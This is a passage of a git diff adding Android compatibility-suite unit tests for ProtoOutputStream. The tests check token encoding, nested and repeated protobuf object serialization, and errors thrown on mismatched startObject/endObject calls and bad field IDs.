+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT64), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new long[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT64),
+                    new long[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
new file mode 100644
index 0000000..fb23607
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
@@ -0,0 +1,893 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the object methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamObjectTest extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  Tokens
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test making the tokens for startObject.
+     */
+    public void testMakeToken() throws Exception {
+        assertEquals(0xe000000000000000L, ProtoOutputStream.makeToken(0xffffffff, false, 0, 0, 0));
+        assertEquals(0x1000000000000000L, ProtoOutputStream.makeToken(0, true, 0, 0, 0));
+        assertEquals(0x0ff8000000000000L, ProtoOutputStream.makeToken(0, false, 0xffffffff, 0, 0));
+        assertEquals(0x0007ffff00000000L, ProtoOutputStream.makeToken(0, false, 0, 0xffffffff, 0));
+        assertEquals(0x00000000ffffffffL, ProtoOutputStream.makeToken(0, false, 0, 0, 0xffffffff));
+    }
+
+    /**
+     * Test decoding the tokens.
+     */
+    public void testDecodeToken() throws Exception {
+        assertEquals(0x07, ProtoOutputStream.getTagSizeFromToken(0xffffffffffffffffL));
+        assertEquals(0, ProtoOutputStream.getTagSizeFromToken(0x1fffffffffffffffL));
+
+        assertEquals(true, ProtoOutputStream.getRepeatedFromToken(0xffffffffffffffffL));
+        assertEquals(false, ProtoOutputStream.getRepeatedFromToken(0xefffffffffffffffL));
+
+        assertEquals(0x01ff, ProtoOutputStream.getDepthFromToken(0xffffffffffffffffL));
+        assertEquals(0, ProtoOutputStream.getDepthFromToken(0xf005ffffffffffffL));
+
+        assertEquals(0x07ffff, ProtoOutputStream.getObjectIdFromToken(0xffffffffffffffffL));
+        assertEquals(0, ProtoOutputStream.getObjectIdFromToken(0xfff80000ffffffffL));
+
+        assertEquals(0xffffffff, ProtoOutputStream.getSizePosFromToken(0xffffffffffffffffL));
+        assertEquals(0, ProtoOutputStream.getSizePosFromToken(0xffffffff00000000L));
+    }
+
+    /**
+     * Test writing an object with one char in it.
+     */
+    public void testObjectOneChar() {
+        testObjectOneChar(0);
+        testObjectOneChar(1);
+        testObjectOneChar(5);
+    }
+
+    /**
+     * Implementation of testObjectOneChar for a given chunkSize.
+     */
+    public void testObjectOneChar(int chunkSize) {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+
+        long token = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(2,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'b');
+        po.endObject(token);
+
+        Assert.assertArrayEquals(new byte[] {
+                (byte)0x0a, (byte)0x02, (byte)0x10, (byte)0x62,
+            }, po.getBytes());
+    }
+
+    /**
+     * Test writing an object with one multibyte unicode char in it.
+     */
+    public void testObjectOneLargeChar() {
+        testObjectOneLargeChar(0);
+        testObjectOneLargeChar(1);
+        testObjectOneLargeChar(5);
+    }
+
+    /**
+     * Implementation of testObjectOneLargeChar for a given chunkSize.
+     */
+    public void testObjectOneLargeChar(int chunkSize) {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+
+        long token = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(5000,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                '\u3110');
+        po.endObject(token);
+
+        Assert.assertArrayEquals(new byte[] {
+                (byte)0x0a, (byte)0x05, (byte)0xc0, (byte)0xb8,
+                (byte)0x02, (byte)0x90, (byte)0x62,
+            }, po.getBytes());
+    }
+
+    /**
+     * Test writing a char, then an object, then a char.
+     */
+    public void testObjectAndTwoChars() {
+        testObjectAndTwoChars(0);
+        testObjectAndTwoChars(1);
+        testObjectAndTwoChars(5);
+    }
+
+    /**
+     * Implementation of testObjectAndTwoChars for a given chunkSize.
+     */
+    public void testObjectAndTwoChars(int chunkSize) {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+
+        po.writeUInt32(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'a');
+
+        long token = po.startObject(ProtoOutputStream.makeFieldId(2,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'b');
+        po.endObject(token);
+
+        po.writeUInt32(ProtoOutputStream.makeFieldId(4,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'c');
+
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 'a'
+                (byte)0x08, (byte)0x61,
+                // begin object 1
+                (byte)0x12, (byte)0x02,
+                    // 3 -> 'b'
+                    (byte)0x18, (byte)0x62,
+                // 4 -> 'c'
+                (byte)0x20, (byte)0x63,
+            }, po.getBytes());
+    }
+
+    /**
+     * Test writing an object with nothing in it.
+     */
+    public void testEmptyObject() {
+        testEmptyObject(0);
+        testEmptyObject(1);
+        testEmptyObject(5);
+    }
+
+    /**
+     * Implementation of testEmptyObject for a given chunkSize.
+     * Nothing should be written.
+     */
+    public void testEmptyObject(int chunkSize) {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+
+        long token = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.endObject(token);
+
+        Assert.assertArrayEquals(new byte[0], po.getBytes());
+    }
+
+    /**
+     * Test writing 3 levels deep of objects with nothing in them.
+     */
+    public void testDeepEmptyObjects() {
+        testDeepEmptyObjects(0);
+        testDeepEmptyObjects(1);
+        testDeepEmptyObjects(5);
+    }
+
+    /**
+     * Implementation of testDeepEmptyObjects for a given chunkSize.
+     */
+    public void testDeepEmptyObjects(int chunkSize) {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(2,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        long token3 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.endObject(token3);
+        po.endObject(token2);
+        po.endObject(token1);
+
+        Assert.assertArrayEquals(new byte[0], po.getBytes());
+    }
+
+    /**
+     * Test writing a char, then an object with nothing in it, then a char.
+     */
+    public void testEmptyObjectAndTwoChars() {
+        testEmptyObjectAndTwoChars(0);
+        testEmptyObjectAndTwoChars(1);
+        testEmptyObjectAndTwoChars(5);
+    }
+
+    /**
+     * Implementation of testEmptyObjectAndTwoChars for a given chunkSize.
+     */
+    public void testEmptyObjectAndTwoChars(int chunkSize) {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+
+        po.writeUInt32(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'a');
+
+        long token = po.startObject(ProtoOutputStream.makeFieldId(2,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.endObject(token);
+
+        po.writeUInt32(ProtoOutputStream.makeFieldId(4,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'c');
+
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 'a'
+                (byte)0x08, (byte)0x61,
+                // 4 -> 'c'
+                (byte)0x20, (byte)0x63,
+            }, po.getBytes());
+    }
+
+    /**
+     * Test empty repeated objects.  For repeated objects, we write an empty header.
+     */
+    public void testEmptyRepeatedObject() {
+        testEmptyRepeatedObject(0);
+        testEmptyRepeatedObject(1);
+        testEmptyRepeatedObject(5);
+    }
+
+    /**
+     * Implementation of testEmptyRepeatedObject for a given chunkSize.
+     */
+    public void testEmptyRepeatedObject(int chunkSize) {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        long token;
+
+        token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.endRepeatedObject(token);
+
+        token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.endRepeatedObject(token);
+
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> empty (tag, size)
+                (byte)0x0a, (byte)0x00,
+                // 1 -> empty (tag, size)
+                (byte)0x0a, (byte)0x00,
+            }, po.getBytes());
+    }
+
+
+    /**
+     * Test writing a char, then an object with an int and a string in it, then a char.
+     */
+    public void testComplexObject() {
+        testComplexObject(0);
+        testComplexObject(1);
+        testComplexObject(5);
+    }
+
+    /**
+     * Implementation of testComplexObject for a given chunkSize.
+     */
+    public void testComplexObject(int chunkSize) {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+
+        po.writeUInt32(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'x');
+
+        long token = po.startObject(ProtoOutputStream.makeFieldId(2,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'y');
+        po.writeString(ProtoOutputStream.makeFieldId(4,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_STRING),
+                "abcdefghijkl");
+
+        long tokenEmpty = po.startObject(ProtoOutputStream.makeFieldId(500,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.endObject(tokenEmpty);
+
+        po.endObject(token);
+
+        po.writeUInt32(ProtoOutputStream.makeFieldId(5,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'z');
+
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 'x'
+                (byte)0x08, (byte)0x78,
+                // begin object 1
+                (byte)0x12, (byte)0x10,
+                    // 3 -> 'y'
+                    (byte)0x18, (byte)0x79,
+                    // 4 -> "abcdefghijkl"
+                    (byte)0x22, (byte)0x0c,
+                        (byte)0x61, (byte)0x62, (byte)0x63, (byte)0x64, (byte)0x65, (byte)0x66,
+                        (byte)0x67, (byte)0x68, (byte)0x69, (byte)0x6a, (byte)0x6b, (byte)0x6c,
+                // 4 -> 'z'
+                (byte)0x28, (byte)0x7a,
+            }, po.getBytes());
+    }
+
+    /**
+     * Test writing 3 levels deep of objects.
+     */
+    public void testDeepObjects() {
+        testDeepObjects(0);
+        testDeepObjects(1);
+        testDeepObjects(5);
+    }
+
+    /**
+     * Implementation of testDeepObjects for a given chunkSize.
+     */
+    public void testDeepObjects(int chunkSize) {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(2,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'a');
+
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(4,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'b');
+
+        long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(6,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'c');
+
+        po.endObject(token3);
+        po.endObject(token2);
+        po.endObject(token1);
+
+        Assert.assertArrayEquals(new byte[] {
+                // begin object 1
+                (byte)0x0a, (byte)0x0a,
+                    // 2 -> 'a'
+                    (byte)0x10, (byte)0x61,
+                    // begin object 3
+                    (byte)0x1a, (byte)0x06,
+                        // 4 -> 'b'
+                        (byte)0x20, (byte)0x62,
+                        // begin object 5
+                        (byte)0x2a, (byte)0x02,
+                            // 6 -> 'c'
+                            (byte)0x30, (byte)0x63,
+            }, po.getBytes());
+    }
+
+    /**
+     * Test mismatched startObject / endObject calls: too many endObject
+     * with objects that have data.
+     */
+    public void testTooManyEndObjectsWithData() throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream();
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(2,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'a');
+
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(4,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'b');
+
+        po.endObject(token2);
+        try {
+            po.endObject(token2);
+            throw new Exception("endObject didn't throw");
+        } catch (RuntimeException ex) {
+            // Good
+        }
+    }
+
+    /**
+     * Test mismatched startObject / endObject calls: too many endObject
+     * with empty objects
+     */
+    public void testTooManyEndObjectsWithoutData() throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream();
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        po.endObject(token2);
+        try {
+            po.endObject(token2);
+            throw new Exception("endObject didn't throw");
+        } catch (RuntimeException ex) {
+            // Good
+        }
+    }
+
+    /**
+     * Test mismatched startObject / endObject calls: Trailing startObject
+     * with objects that have data.
+     */
+    public void testTrailingStartObjectWithData() throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream();
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(2,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'a');
+
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(4,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'b');
+
+        po.endObject(token2);
+        try {
+            po.getBytes();
+            throw new Exception("getBytes didn't throw");
+        } catch (RuntimeException ex) {
+            // Good
+        }
+    }
+
+    /**
+     * Test mismatched startObject / endObject calls: Trailing startObject
+     * with empty objects
+     */
+    public void testTrailingStartObjectWithoutData() throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream();
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        po.endObject(token2);
+        try {
+            po.getBytes();
+            throw new Exception("getBytes didn't throw");
+        } catch (RuntimeException ex) {
+            // Good
+        }
+    }
+
+    /**
+     * Test mismatched startObject / endObject calls: Extra startObject in the middle.
+     * with objects that have data.
+     */
+    public void testExtraStartObjectInMiddleWithData() throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream();
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(2,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'a');
+
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(4,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'b');
+
+        try {
+            po.endObject(token1);
+            throw new Exception("endObject didn't throw");
+        } catch (RuntimeException ex) {
+            // Good
+        }
+    }
+
+    /**
+     * Test mismatched startObject / endObject calls: Extra startObject in the middle.
+     * with empty objects
+     */
+    public void testExtraStartObjectInMiddleWithoutData() throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream();
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        try {
+            po.endObject(token1);
+            throw new Exception("endObject didn't throw");
+        } catch (RuntimeException ex) {
+            // Good
+        }
+    }
+
+    /**
+     * Test mismatched startObject / endObject calls: Two deep with swapped endObject.
+     * with objects that have data.
+     */
+    public void testSwappedEndObjectWithData() throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream();
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(2,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'a');
+
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(4,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'b');
+        po.endObject(token2);
+
+        long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeUInt32(ProtoOutputStream.makeFieldId(4,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                'b');
+
+        try {
+            po.endObject(token2);
+            throw new Exception("endObject didn't throw");
+        } catch (RuntimeException ex) {
+            // Good
+        }
+    }
+
+    /**
+     * Test mismatched startObject / endObject calls: Two deep with swapped endObject.
+     * with empty objects
+     */
+    public void testSwappedEndObjectWithoutData() throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream();
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.endObject(token2);
+
+        long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        try {
+            po.endObject(token2);
+            throw new Exception("endObject didn't throw");
+        } catch (RuntimeException ex) {
+            // Good
+        }
+    }
+
+    /**
+     * Test mismatched startObject / endObject calls: Two deep with swapped endObject.
+     * with empty objects
+     */
+    public void testEndObjectMismatchError() throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream();
+
+        long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.endObject(token2);
+
+        long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        try {
+            po.endObject(token2);
+            throw new Exception("endObject didn't throw");
+        } catch (RuntimeException ex) {
+            // Check this, because it's really useful, and if we lose the message it'll be
+            // harder to debug typos.
+            assertEquals("Mismatched startObject/endObject calls. Current depth 2"
+                    + " token=Token(val=0x2017fffd0000000a depth=2 object=2 tagSize=1 sizePos=10)"
+                    + " expectedToken=Token(val=0x2017fffc0000000a depth=2 object=3 tagSize=1"
+                    + " sizePos=10)", ex.getMessage());
+        }
+    }
+
+    /**
+     * Test compatibility of nested objects.
+     */
+    public void testNestedCompat() throws Exception {
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.nestedField = new Test.Nested();
+        all.nestedField.data = 1;
+        all.nestedField.nested = new Test.Nested();
+        all.nestedField.nested.data = 2;
+        all.nestedField.nested.nested = new Test.Nested();
+        all.nestedField.nested.nested.data = 3;
+
+        final long token1 = po.startObject(ProtoOutputStream.makeFieldId(170,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeInt32(ProtoOutputStream.makeFieldId(10001,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
+                1);
+        final long token2 = po.startObject(ProtoOutputStream.makeFieldId(10002,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeInt32(ProtoOutputStream.makeFieldId(10001,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
+                2);
+        final long token3 = po.startObject(ProtoOutputStream.makeFieldId(10002,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        po.writeInt32(ProtoOutputStream.makeFieldId(10001,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
+                3);
+        po.endObject(token3);
+        po.endObject(token2);
+        po.endObject(token1);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+    }
+
+    /**
+     * Test compatibility of repeated nested objects.
+     */
+    public void testRepeatedNestedCompat() throws Exception {
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        final int N = 3;
+        all.nestedFieldRepeated = new Test.Nested[N];
+        for (int i=0; i<N; i++) {
+            all.nestedFieldRepeated[i] = new Test.Nested();
+            all.nestedFieldRepeated[i].data = 1;
+            all.nestedFieldRepeated[i].nested = new Test.Nested();
+            all.nestedFieldRepeated[i].nested.data = 2;
+            all.nestedFieldRepeated[i].nested.nested = new Test.Nested();
+            all.nestedFieldRepeated[i].nested.nested.data = 3;
+
+            final long token1 = po.startObject(ProtoOutputStream.makeFieldId(171,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+            po.writeInt32(ProtoOutputStream.makeFieldId(10001,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
+                    1);
+            final long token2 = po.startObject(ProtoOutputStream.makeFieldId(10002,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+            po.writeInt32(ProtoOutputStream.makeFieldId(10001,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
+                    2);
+            final long token3 = po.startObject(ProtoOutputStream.makeFieldId(10002,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+            po.writeInt32(ProtoOutputStream.makeFieldId(10001,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
+                    3);
+            po.endObject(token3);
+            po.endObject(token2);
+            po.endObject(token1);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.startObject(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE));
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.startObject(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE));
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+
+    /**
+     * Test that if endRepeatedObject is called with a token from startObject that it fails.
+     */
+    public void testMismatchedEndObject() {
+        final ProtoOutputStream po = new ProtoOutputStream();
+        final long token = po.startObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
